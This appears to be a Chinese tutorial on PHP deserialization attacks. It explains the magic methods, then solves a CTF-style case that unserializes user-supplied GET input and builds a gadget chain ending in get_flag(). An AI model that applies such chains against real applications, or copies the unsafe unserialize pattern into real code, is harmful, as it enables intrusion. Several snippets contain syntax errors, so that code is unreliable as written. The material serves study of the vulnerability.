一、序列化,反序列化
- 序列化:将php对象压缩并按照一定格式转换成字符串过程
- 反序列化:从字符串转换回php对象的过程
- 目的:为了方便php对象的传输和存储
seriallize() 传入参数为php对象,序列化成字符串
unserialize() 传入字符串,反序列化成一个对象
下图,上面是php对象,下面是 序列化结果
强调:序列化的过程,只序列化属性,不序列化函数
二、反序列化攻击
利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击
只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口
魔术方法(以__开头的函数)
1.__construct():
构造函数,当一个对象被实例化时,就会被调用
<?php
class A
{
function __construct()
{
echo "this is a construct function":
}
}
$a = new A();
?>
当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用
2.__destruct():
析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数
<?php
class A
{
function __construct()
{
echo "this is a construct function";
}
function __destruct()
{
echo "this is a destruct function";
}
}
$a = new A();
?>
这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数
3.__sleep():
在对象进行序列化的过程,__sleep()函数将被调用
<?php
class A
{
private $test;
public $test2;
public function __construct($test)
{
$this->test = $test;
}
public function __sleep()
{
echo "this is a sleep function";
return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称
}
}
$a = new A("Aurora");
echo serialize($a);
?>
在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用
4.__wakeup():
wakeup()与sleep()正好相对应
是在反序列化的过程会被调用
当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用
注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法
5.__toString()方法
当出现,把一个字符串当作字符串来使用,就会调用该方法
<?php
class A
{
private $test;'
public function __construct($test)
{
$this->test = $test;
}
function __toString()
{
$str = "this is a toString function";
return $str;
}
}
$a = new A("Aurora");
echo $a;
?>
6.__invoke():
当把一个对象当作函数来调用的时候,就会自动调用invoke()方法
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
function __invoke()
{
echo = "this is a invoke function";
}
}
$a = new A("Aurora");
$a(); //$a是一个对象,但却用$a()调用方法的方法使用它
?>
上面$a()就是将对象作为函数来调用的例子
7.__call():
调用对象中不存在的方法,就会调用call函数
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
function _call($funName,$arguments)
{
echo "你所调用的方法:“.$funName."(参数:"; //输出调用不存在的方法名
print_r($arguments);
echo ")不存在!<br>\n"; //结束换行
}
$a = new A("Aurora");
$a->test('no','this','function'); //可以看到A类中并没有test()方法
?>
三、案例
<!--
class allstart
{
public $var1;
public $var2;
public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function test1()
{
$this->var1->test2();
}
}
class func2
{
public $var1;
public $var2;
public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
public $var1;
public $var2;
public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
public function get_flag()
{
echo "flag{***}";
}
}
$a=$_GET["string"];
unserialize($a);
反序列化攻击就是制造一条攻击链
将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去
<?php
class allstart
{
public $var1;
public $var2;
public function __construct() //只需在每个对象中添加构造函数
{
$this->var1=new func1();
}
public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function __construct() //只需在每个对象中添加构造函数
{
$this->var1=new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
public $var1;
public $var2;
public function __construct() //只需在每个对象中添加构造函数
{
$this->var1=new func3();
}
public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
public $var1;
public $var2;
public function __construct() //只需在每个对象中添加构造函数
{
$this->var1=new func4();
}
public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
public $str1;
public $str2;
public function __construct() //只需在每个对象中添加构造函数
{
$this->str1=new toget();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
public function get_flag()
{
echo "flag{***}";
}
}
$a=new allstart(); //这个也要与源码不同
echo serialize($a); //将对象序列化
?>